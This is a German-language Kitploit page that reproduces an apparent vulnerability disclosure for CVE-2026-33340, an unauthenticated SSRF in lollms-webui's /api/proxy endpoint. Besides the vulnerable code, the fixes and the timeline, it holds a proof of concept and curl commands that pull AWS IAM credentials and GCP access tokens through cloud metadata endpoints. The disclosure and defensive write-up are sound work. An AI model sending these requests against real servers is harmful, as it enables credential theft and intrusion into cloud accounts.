Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-33340 — CVE-2026-33340: Kritische SSRF in lollms-webui /api/proxy - Nicht authentifizierte Fälschung beliebiger Anfragen (CVSS 9.1) | Kitploit
Tools/GitHubGitHub/regaan/cve-2026-33340
AufklärungSchwachstellenanalyseExploitationWebsicherheitCloud-SicherheitLernen & Bildung
GitHubregaan/cve-2026-33340

CVE-2026-33340

CVE-2026-33340: Kritische SSRF in lollms-webui /api/proxy - Nicht authentifizierte Fälschung beliebiger Anfragen (CVSS 9.1)

Repository anzeigen
vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-33340: SSRF in lollms-webui

Überblick

FeldDetail
CVE-IDCVE-2026-33340
SchwachstelleServer-Side Request Forgery (SSRF)
Betroffenes ProduktParisNeo/lollms-webui (LoLLMs WEBUI)
SchweregradKritisch — CVSS 9.1
CVSS-VektorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CWECWE-918: Server-Side Request Forgery (SSRF)
Betroffene Komponentelollms_core/lollms/server/endpoints/lollms_apps.py
Verwundbarer Endpunkt/api/proxy
SicherheitshinweisGHSA-mcwr-5469-pxj4
NVDNVD-Eintrag
SentinelOneSentinelOne-Analyse
Entdeckt vonRegaan R — ROT Independent Security Research Lab

Zusammenfassung

Eine kritische Server-Side-Request-Forgery-Schwachstelle (SSRF) wurde in lollms-webui, der Weboberfläche für Lord of Large Language and Multi modal Systems, identifiziert. Der Endpunkt @router.post("/api/proxy") ermöglicht es nicht authentifizierten Angreifern, den Server dazu zu zwingen, beliebige GET-Anfragen zu senden. Dies kann ausgenutzt werden, um auf interne Dienste zuzugreifen, lokale Netzwerke zu scannen oder sensible Cloud-Metadaten wie AWS-/GCP-IAM-Tokens zu exfiltrieren.


Betroffenes Produkt

  • Repository: ParisNeo/lollms-webui / ParisNeo/lollms
  • Betroffene Komponente: lollms_core/lollms/server/endpoints/lollms_apps.py (Zeilen 443-450)
  • Verwundbarer Endpunkt: /api/proxy
  • Betroffene Versionen: Alle bekannten Versionen

Ursachenanalyse

Die Schwachstelle besteht darin, dass die proxy-Funktion in lollms_apps.py keine Authentifizierung oder irgendeine Form der URL-/Domain-Validierung implementiert. Sie akzeptiert eine rohe URL-Zeichenfolge vom Benutzer und übergibt sie direkt an einen asynchronen HTTP-Client.

Verwundbarer Code

root@kitploit:~
@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
    try:
        async with httpx.AsyncClient() as client:
            # No check_access() call — unauthenticated
            # No URL validation — arbitrary destinations
            response = await client.get(request.url)
            return {"content": response.text}
    except Exception as e:
        raise HTTPException(status_code=500, detail=str(e))

Was ist falsch?

  1. Keine Authentifizierung: Der Endpunkt ruft weder check_access(lollmsElfServer, request.client_id) noch eine Authentifizierungs-Middleware auf, sodass jeder nicht authentifizierte Benutzer ihn aufrufen kann.
  2. Keine URL-Validierung: Die vom Benutzer bereitgestellte URL wird direkt an httpx.AsyncClient().get() übergeben, ohne das Ziel gegen eine Whitelist zu prüfen oder private/interne IP-Bereiche zu blockieren.
  3. Vollständige Offenlegung der Antwort: Der gesamte HTTP-Antworttext wird dem Aufrufer über {"content": response.text} zurückgegeben, was eine vollständige Datenexfiltration ermöglicht.

Proof of Concept

Schritt 1 — Simulierten internen Dienst einrichten

root@kitploit:~
echo "INTERNAL_SECRET_DATA" > secret.txt
python3 -m http.server 8888

Schritt 2 — Die SSRF ausnutzen

root@kitploit:~
curl -X POST http://localhost:9600/api/proxy \
     -H "Content-Type: application/json" \
     -d '{"url": "http://localhost:8888/secret.txt"}'

Schritt 3 — Die Antwort beobachten

root@kitploit:~
{"content": "INTERNAL_SECRET_DATA\n"}

Der Server hat die Datei vom internen Dienst abgerufen und ihren Inhalt an den Angreifer zurückgegeben.

Ausnutzung von Cloud-Metadaten

root@kitploit:~
# AWS IMDSv1 — Retrieve IAM credentials
curl -X POST http://<target>:9600/api/proxy \
     -H "Content-Type: application/json" \
     -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

# GCP — Retrieve access token
curl -X POST http://<target>:9600/api/proxy \
     -H "Content-Type: application/json" \
     -d '{"url": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"}'

Auswirkungen


Angriffsablauf

root@kitploit:~
Attacker                         lollms-webui Server                    Internal Network
   |                                    |                                      |
   |  POST /api/proxy                   |                                      |
   |  {"url": "http://169.254..."}      |                                      |
   |----------------------------------->|                                      |
   |                                    |  GET http://169.254.169.254/...      |
   |                                    |------------------------------------->|
   |                                    |                                      |
   |                                    |  200 OK (IAM credentials)            |
   |                                    |<-------------------------------------|
   |                                    |                                      |
   |  {"content": "<credentials>"}      |                                      |
   |<-----------------------------------|                                      |

Vorgeschlagene Behebung

1. Authentifizierung hinzufügen

root@kitploit:~
@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
    check_access(lollmsElfServer, request.client_id)  # Add this
    # ...

2. URL-Validierung implementieren

root@kitploit:~
from urllib.parse import urlparse
import ipaddress

BLOCKED_RANGES = [
    ipaddress.ip_network("127.0.0.0/8"),
    ipaddress.ip_network("10.0.0.0/8"),
    ipaddress.ip_network("172.16.0.0/12"),
    ipaddress.ip_network("192.168.0.0/16"),
    ipaddress.ip_network("169.254.0.0/16"),  # Cloud metadata
]

def is_safe_url(url: str) -> bool:
    parsed = urlparse(url)
    hostname = parsed.hostname
    if hostname in ("localhost", ""):
        return False
    try:
        ip = ipaddress.ip_address(hostname)
        return not any(ip in network for network in BLOCKED_RANGES)
    except ValueError:
        # Hostname is a domain — resolve and check
        import socket
        resolved = socket.gethostbyname(hostname)
        ip = ipaddress.ip_address(resolved)
        return not any(ip in network for network in BLOCKED_RANGES)

3. Auf Whitelist-Domains beschränken

root@kitploit:~
ALLOWED_DOMAINS = ["api.example.com", "cdn.example.com"]

def is_whitelisted(url: str) -> bool:
    parsed = urlparse(url)
    return parsed.hostname in ALLOWED_DOMAINS

Patch-Status

Zum Veröffentlichungszeitpunkt wurde bereits eine gepatchte Version von lollms-webui veröffentlicht.


Zeitleiste

DatumEreignis
2026-03-07Schwachstelle entdeckt und über GitHub Security Advisory gemeldet
2026-03-24CVE-2026-33340 im NVD veröffentlicht
2026-03-25NVD-Datenbankeintrag aktualisiert
2026-03-27SentinelOne veröffentlicht Schwachstellenanalyse

Referenzen

  • NVD — CVE-2026-33340
  • GitHub Security Advisory — GHSA-mcwr-5469-pxj4
  • SentinelOne Vulnerability Database — CVE-2026-33340
  • Verwundbarer Quellcode (Zeilen 443-450)

Entdeckt von

Regaan R (@regaan) Leitender Forscher — ROT Independent Security Research Lab


Haftungsausschluss

Dieser Bericht wird ausschließlich zu Bildungs- und Verteidigungszwecken veröffentlicht. Die Schwachstelle wurde im Rahmen einer verantwortungsvollen Offenlegung (Responsible Disclosure) über GitHub Security Advisories gemeldet. Holen Sie vor dem Testen von Schwachstellen stets eine entsprechende Genehmigung ein.


Lizenz

Dieser Bericht ist unter CC BY 4.0 lizenziert.

Tool herunterladen
SzenarioBeschreibung
Diebstahl von Cloud-AnmeldedatenAngreifer auf Cloud-Plattformen (AWS/GCP/Azure) können auf http://169.254.169.254/ zugreifen, um Instanzmetadaten, IAM-Anmeldedaten und Zugriffstokens abzurufen — was zur vollständigen Kompromittierung des Cloud-Kontos führt.
Pivoting im internen NetzwerkAngreifer können interne Datenbanken, APIs, Admin-Panels und Verwaltungsschnittstellen ausspähen, die nicht über das öffentliche Internet erreichbar sind.
Zugriff auf Localhost-DiensteAngreifer können an localhost gebundene Dienste (Redis, Elasticsearch, Docker-API, Datenbankkonsolen) erreichen, die lokalem Datenverkehr implizit vertrauen.
Interner PortscanDie SSRF kann genutzt werden, um offene Ports und laufende Dienste im internen Netzwerk zu enumerieren, indem man Antwortzeiten und Fehlermeldungen beobachtet.
DatenexfiltrationAlle über HTTP erreichbaren Daten im Netzwerkzugriffsbereich des Servers können gelesen und an den Angreifer zurückgegeben werden.